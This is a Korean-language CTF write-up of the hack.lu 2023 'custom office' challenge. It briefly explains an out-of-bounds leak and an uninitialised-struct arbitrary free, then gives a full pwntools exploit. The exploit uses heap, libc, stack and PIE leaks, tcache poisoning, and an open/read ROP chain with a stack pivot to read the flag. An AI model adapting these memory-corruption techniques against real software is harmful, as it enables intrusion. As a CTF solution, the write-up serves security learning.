CTF
[hack.lu 2023 CTF] custom office
lok2h4rd
2024. 3. 10. 11:43
멀티 프로세스로 구현된 server와 client로 client가 기능을 서버로 custom 패킷을 보내고 서버는 이를 받아 처리하는
방식으로 동작합니다
총 2개의 취약점을 사용하였는데 user가 user의 패스워드를 받는 기능에서 oob 버그가 발생하여 leak이 가능했습니다
다음 취약점은 user를 생성하는 과정에서 malloc으로 user struct를 할당 받고 memset으로 초기화를 하는 등의 작업이 없어 fake password를 구성하여 원하는 주소를 free시킬 수 있는 버그가 있습니다
그래서 힙에 미리 rop chain을 구성해두고 stack ret를 stack pivoting할 수 있는 가젯으로 덮어 플래그를 읽어 아무 password에 덮어둔 뒤 password 출력 기능으로 flag를 읽었습니다
from pwn import *
#context.log_level = "debug"
p = remote("localhost", 1234)
e = ELF("./main")
libc = ELF("./libc.so.6")
ru = lambda a : p.recvuntil(a)
snl = lambda a : p.sendline(a)
snd = lambda a : p.send(a)
def login(nm):
ru(b"> ")
snl(b"1")
ru(b": \n")
snl(nm)
def sign(nm):
ru(b"> ")
snl(b"2")
ru(b": \n")
snl(nm)
def addpw(pw, idx):
ru(b"> ")
snl(b"1")
ru(b": \n")
snl(pw)
ru(b": \n")
snl(str(idx).encode())
def getpw(idx):
ru(b"> ")
snl(b"2")
ru(b": \n")
snl(str(idx).encode())
def delpw(idx):
ru(b"> ")
snl(b"3")
ru(b": \n")
snl(str(idx).encode())
def report(data, title):
ru(b"> ")
snl(b"4")
ru(b": \n")
snd(data)
ru(b": \n")
snl(title)
def logout():
ru(b"> ")
snl(b"4")
sign(b"A")
login(b"A")
for i in range(0, 18, 2):
addpw(b"C", i)
addpw(b"B" * 0x80, i+1)
for i in range(1, 18, 2):
delpw(i)
getpw(111)
ru(b"Password: ")
heap_base = u64(p.recv(6) + b"\x00\x00") - 0xb10
log.info("heap : " + hex(heap_base))
target = 0x9c0 + heap_base
def leak(addr):
delpw(0)
addpw((b"A" * 8) + p64(addr), 0)
getpw(-3)
ru(b"Password: ")
return u64(p.recv(6)+b"\x00\x00")
libc_base = leak(heap_base + 0x9c0) - 0x219ce0
p_rdi = libc_base + 0x1b7c52
p_rsi = libc_base + 0x16e6c9
pp_rdx = libc_base + 0x9057e
p_rsp = libc_base + 0x1213c3
p_rbp = libc_base + 0x1bae0e
mov_rax = libc_base + 0x16b63f # : nop ; mov rax, qword [rdi+0x08] ; lea rsi, qword [rsp+0x08] ; call qword [rax] ;
pivot = libc_base + 0x15d200 # push rax ; pop rsp ; lea rsi, qword [rax+0x48] ; mov rax, qword [rdi+0x08] ; jmp qword [rax+0x18]
#0x8a7bf: call qword [rdi+0x00000090] ; \xff\x97\x90\x00\x00\x00 (1 found)
log.info("libc base: " + hex(libc_base))
fk_tb = b"A" * 0x10
fk_tb += p64(0x10) + p64(libc_base + libc.symbols['__environ'])
fk_tb += p64(0x10) + p64(heap_base + 0xb60)
fk_tb += p64(0) + p64(0x121)
fk_tb += b"A" * 0x10
fk_tb += p64(0x10) + p64(heap_base + 0xb60)
fk_tb += b"A" * (0x150 - len(fk_tb))
logout()
report(fk_tb, b"123")
sign(b"B")
login(b"B")
getpw(0)
ru(b"Password: ")
stack = u64(p.recv(6)+b"\x00\x00")
log.info("stack: " + hex(stack))
delpw(1)
logout()
fk_tb = b"A" * 0x10
fk_tb += p64(0x10) + p64(stack-0x448)
fk_tb += b"\x00" * (0x110 - len(fk_tb))
report(fk_tb, b"111")
sign(b"B")
login(b"B")
getpw(4)
ru(b"Password: ")
pie = u64(p.recv(6) + b"\x00\x00") - 0x2ba1
log.info("pie : " + hex(pie))
#fk_tb += p64(0x10) + p64(heap_base + 0x10)
#delpw(5)
logout()
fk_tb = b"A" * 0x10
fk_tb += p64(0x10) + p64(heap_base + 0xb90)
fk_tb += p64(0) + p64(0x21)
fk_tb += b"\x00" * (0x110 - len(fk_tb))
report(fk_tb, b"222")
login(b"B")
delpw(4)
logout()
fk_tb = b"A" * 0x10
fk_tb += p64(0x10) + p64(heap_base + 0xb90)
fk_tb += p64(0) + p64(0x21)
fk_tb += p64((heap_base+0xb90>>12) ^ (pie + 0x5000 + 0x40))
fk_tb += b"\x00" * (0x110 - len(fk_tb))
report(fk_tb, b"333")
login(b"B")
addpw(p64(p_rdi+1), 1)
logout()
fk_tb = b"A" * 0x10
fk_tb += p64(0x10) + p64(heap_base + 0x10)
fk_tb += p64(0) + p64(0x21)
fk_tb += p64((heap_base+0xb90>>12) ^ (pie + 0x5000)) + p64(0)
fk_tb += b"flag.txt"
fk_tb += b"\x00" * 0x18
fk_tb += p64(0x30) + p64(heap_base+0xb90)
fk_tb += b"\x00" * (0x110 - len(fk_tb))
report(fk_tb, b"444")
login(b"B")
delpw(4)
addpw(p64(p_rdi+1), 4)
logout()
pay = p64(p_rdi)
pay += p64(heap_base + 0xba0)
pay += p64(p_rsi)
pay += p64(0)
pay += p64(pp_rdx)
pay += p64(0) * 2
pay += p64(libc_base + libc.symbols['open'])
pay += p64(p_rdi)
pay += p64(0)
pay += p64(p_rsi)
pay += p64(heap_base + 0xb90)
pay += p64(pp_rdx)
pay += p64(0x50)
pay += p64(0)
pay += p64(libc_base + libc.symbols['read'])
pay += p64(p_rbp)
pay += p64(stack - 0x158)
pay += p64(p_rsp)
pay += p64(stack - 0x3e8)
pay += b"A" * (0x200 - len(pay))
report(pay, b"555")
pay = p64(1)
pay += b"\x00" * (0x80 - len(pay))
pay += p64(stack - 0x3e8)
pay += b"\x00" * (0x280 - len(pay))
report(pay, b"666")
pay = p64(pie + 0x02B98)
pay += p64(p_rsp)
pay += p64(heap_base+0xc80)
report(pay, b"777")
login(b"B")
getpw(9)
p.interactive()
예전에 유기(?)했던 문제를 이제서야 풀어봤습니다
이번에도 유기할뻔 했는데 못도망치게 옆에서 감시해주신 재영님 감사합니다...ㅎㅎ